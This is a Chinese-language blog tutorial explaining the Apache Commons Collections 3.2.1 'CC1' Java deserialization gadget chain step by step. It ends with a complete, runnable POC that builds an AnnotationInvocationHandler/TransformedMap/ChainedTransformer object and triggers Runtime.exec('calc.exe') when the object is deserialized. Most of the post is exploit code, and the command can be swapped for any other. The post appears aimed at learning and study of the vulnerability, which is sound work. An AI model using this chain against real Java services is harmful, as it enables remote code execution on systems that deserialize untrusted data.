Commons collections反序列化链1

可以去我的博客看看

环境

1.jkd8u65
下载地址:https://blog.lupf.cn/articles/2022/02/19/1645283454543.html

2.与oracle jdk对应版本的sun包
下载地址:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/src/share/classes/sun

3.Commons Collections 3.2.1(版本高了可能就没漏洞了)
使用maven自动导包,在pom.xml里设置
依赖:

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

序列化、反序列化

    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);

    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object obj=ois.readObject();
        return obj;

    }

链子的起点
因为反序列化要使用readObject方法,所以我们的起点就是找在readObject里调用的方法
而且不同的类的readObject会不一样,因为他们会对其重写。

链子


AbstractInputCheckedMapDecorator =>

TransformedMap =>

ChainedTransformer =>

ConstantTransformer =>

InvokerTransformer =>

Runtime

InvokerTransformer.transform来执行命令

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();//获取类
            Method method = cls.getMethod(iMethodName, iParamTypes);//获取方法
            return method.invoke(input, iArgs);//执行方法
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

先用常规方法来获取Runtime类来执行命令,因为Runtime的构造方法是私有的

private Runtime() {}

所以他提供了getRuntime()方法来获取对象

 private static Runtime currentRuntime = new Runtime();
 public static Runtime getRuntime() {
        return currentRuntime;
    }

正常调用Runtiem执行命令打开计算器

Runtime r=Runtime.getRuntime();
r.exec("calc.exe");

但是Runtime并没有继承Serializable接口,所以不能使他序列化
所以我们要使用反射的方法来获取这个类,因为Class类继承了Serializable接口,所以使用Class类的方法得到的对象就可以序列化

Class c=Runtime.class;
Method method=c.getMethod("getRuntime",null);
Runtime runtime=(Runtime) method.invoke(null,null);
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(runtime,"calc");

这样就是通过反射来获取一个Runtime对象,从而执行命令打开计算器
这个代码结构就跟InvokerTransformer.transform()里调用反射的的一样

Class cls = input.getClass();//获取类
Method method = cls.getMethod(iMethodName, iParamTypes);//获取方法
return method.invoke(input, iArgs);//执行方法

所以我们可以通过InvokerTransformer.transform()来执行我们上面的代码

//获取getRuntime()方法
Method getRuntimeMethod = (Method)  new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//获得Runtime(实例)对象
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//执行命令打开计算器
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);

【可以看出后面执行的语句都是使用前一个执行的结果作为参数,这个在后面会讲到该如何使用。】
这个就是我们链子的最后一部分,然后通过最后一部分来进行反推出有哪些地方调用了transform()

AbstractInputCheckedMapDecorator、TransformedMap

在TransformedMap.checkSetValue中调用了transform()

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

然后在AbstractInputCheckedMapDecorator.setValue中调用了checkSetValue()

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }

且AbstractInputCheckedMapDecorator是TransformedMap的父类
然后看checkSetValue中的valueTransformer的值是由构造函数决定的
但是TransformedMap类的对象是通过他的decorate方法类获得的,因为其构造函数为protected类型

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
    
        public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

所以我们需要构造一个TransformedMap对象,且其valueTransformer的值为InvokerTransformer对象,这样在执行checkSetValue的时候才会是执行InvokerTransformer.transform()

        Map<Object, Object> map=new HashMap<>();
        Map<Object, Object> transformedMap =   TransformedMap.decorate(map,null,new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}));

然后就是看AbstractInputCheckedMapDecorator.setValue方法
这个其实是在使用entrySet()遍历map对象的时候进行设置value的值使用的
因为这个AbstractInputCheckedMapDecorator是实现了Map接口的的
即重写了entrySet()setValue()等方法
所以在对这个类的对象使用entrySet()进行遍历的时候使用setValue()方法,就会调用这个类里重写的setValue()方法。
同时AbstractInputCheckedMapDecorator类是TransformedMap的父类,所以在对TransformedMap的对象进行遍历的时候,调用setValue()方法就会调用上文中所指的setValue()方法。(可能有点绕)

我们对TransformedMap对象使用entrySet()来遍历

        Map<Object, Object> map=new HashMap<>();
        Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}));
        //遍历TransformedMap的对象
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(Runtime.class);
        }

Map.Entry是因为setValue在他那个类里面

static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

这个时候就可以来看一下链子是什么样的了
setValue传进去的value参数,在checkSetValue(value)传进了checkSetValue方法;
checkSetValue的参数value又传进了transform
所以我们就知道传进setValue的参数就是最后transform方法的参数。
在这里插入图片描述

但是有个一个问题,就是我们每次传值,只能调用一次InvokerTransformer.transform,我们得找一个办法来使我们只要传一次值,就可以执行下面的三句InvokerTransformer.transform方法

//获取getRuntime()方法
Method getRuntimeMethod = (Method)  new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//获得Runtime(实例)对象
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//执行命令打开计算器
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}).transform(runtime);

ChainedTransformer循环执行

ChainedTransformer.transform他会执行Transformer数组里每个Transformer对象的transform方法,并且将上一次执行的结果作为下一次执行的参数,在我们也只能控制第一次执行的参数的条件下,刚好符合我们的需求

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

而且ChainedTransformer类可以序列化,同时和InvokerTransformer类都实现了Transformer接口,所以InvokerTransformer类的对象就是Transformer对象

public class ChainedTransformer implements Transformer, Serializable {
public class InvokerTransformer implements Transformer, Serializable {

他的构造是公有类,所以可以直接构造,但是要先构造一个Transformer数组
【用InvokerTransformer数组也是一样的】

        //创建Transformer数组
        Transformer[] invokerTransforms = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(invokerTransforms);

这样我们把上面构造的transformedMap对象里的valueTransformer换成我们现在构造的chainedTransformer对象就行了

Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

然后找在那个类的readObject方法中调用了setValue()

AnnotationInvocationHandler类的readObject()

我们在AnnotationInvocationHandler类的readObject()中发现他调用了setValue()方法,而且他也实现了Serializable接口,可以序列化,胜利就在眼前!

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue( //<============这里这里这里!!!!!!!!!
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

我们要先实例化这个类,由于他的构造函数是default

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

所以我们只能通过反射来获取这个类的实例,Annotation是注解的意思

        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationHandlerconstructor = a.getDeclaredConstructor(Class.class,Map.class);
        annotationHandlerconstructor.setAccessible(true);
        Object o= annotationHandlerconstructor.newInstance(Target.class,transformedMap);

这个Target是java的注解,至于为什么用他,后面会说到,先看看Target的源码

public @interface Target {
    /**
     * Returns an array of the kinds of elements an annotation type
     * can be applied to.
     * @return an array of the kinds of elements an annotation type
     * can be applied to
     */
    ElementType[] value();
}

我们将获得的对象进行序列化再反序列化

serialize(o);
unserialize("ser.bin");

我们在调用setValue的时候有个if判断
在这里插入图片描述

我们对其进行分析

//获取我们传进去的Target.class的实例
annotationType = AnnotationType.getInstance(type);
//获取Target接口的成员,即ElementType[] value();
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
//遍历Map变量,这个memberValues就是传进去的transformedMap对象,但是因为用了entrySet()
//所以这个遍历的就是transformedMap里的map属性,可以去看看上面对transformedMap对象
//的声明定义
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
//获取map里的键的值
String name = memberValue.getKey();
//在Target接口的成员里面找名字为name的成员
Class<?> memberType = memberTypes.get(name);
//判断是否找到了名字为name的成员
if (memberType != null)

总结一下,就是要让我们构造时传进去的Target.class类的成员的名字
在传进去的transformedMap的map属性的key里可以找得到。
因为Target里有个value方法,所以我们给map赋值

map.put("value","wzx");

这样我们就可以进去if代码块了
进去之后还有个

                Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy))

memberType.isInstance(value)
就是问value能否强转为memberType的类型,当然不能,因为我map里的value是String类型,而memberType是Class 类型
value instanceof ExceptionProxy)
就是问value是否是ExceptionProxy这种类型

所以可以进入下一个代码块
然而又遇到个问题
在这里插入图片描述

setValue的参数是已经定好的,我们不可控,但是还是有办法的

ConstantTransformer

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    
        public Object transform(Object input) {
        return iConstant;
    }

调用ConstantTransformer.transform,会返回我们给他传进去的那个对象
就是说,我们给他传参Runtiem.class,那他也会返回一个Runtiem.class
这样我们在调用ChainedTransforme.transform()的时候,就可以不用管他传进去的参数是什么了,因为反正我们也不会调用

修改Transformer数组的元素

        Transformer[] invokerTransforms = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };

POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class POC {
    public static void main(String[] args) throws Exception {
        //创建Transformer数组
        Transformer[] invokerTransforms = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        //创建ChainedTransformer实例
        ChainedTransformer chainedTransformer = new ChainedTransformer(invokerTransforms);
        //创建Map实例map
        Map<Object, String> map=new HashMap<>();
        //给map添加键值对
        map.put("value","wzx");
        //创建TransformedMap实例
        Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
        //实例化AnnotationInvocationHandler类
        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationHandlerconstructor = a.getDeclaredConstructor(Class.class,Map.class);
        annotationHandlerconstructor.setAccessible(true);
        Object o= annotationHandlerconstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        //触发反序列化链
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);

    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object obj=ois.readObject();
        return obj;

    }
}

参考链接

白日梦组长,我的超人

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

v2ish1yan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值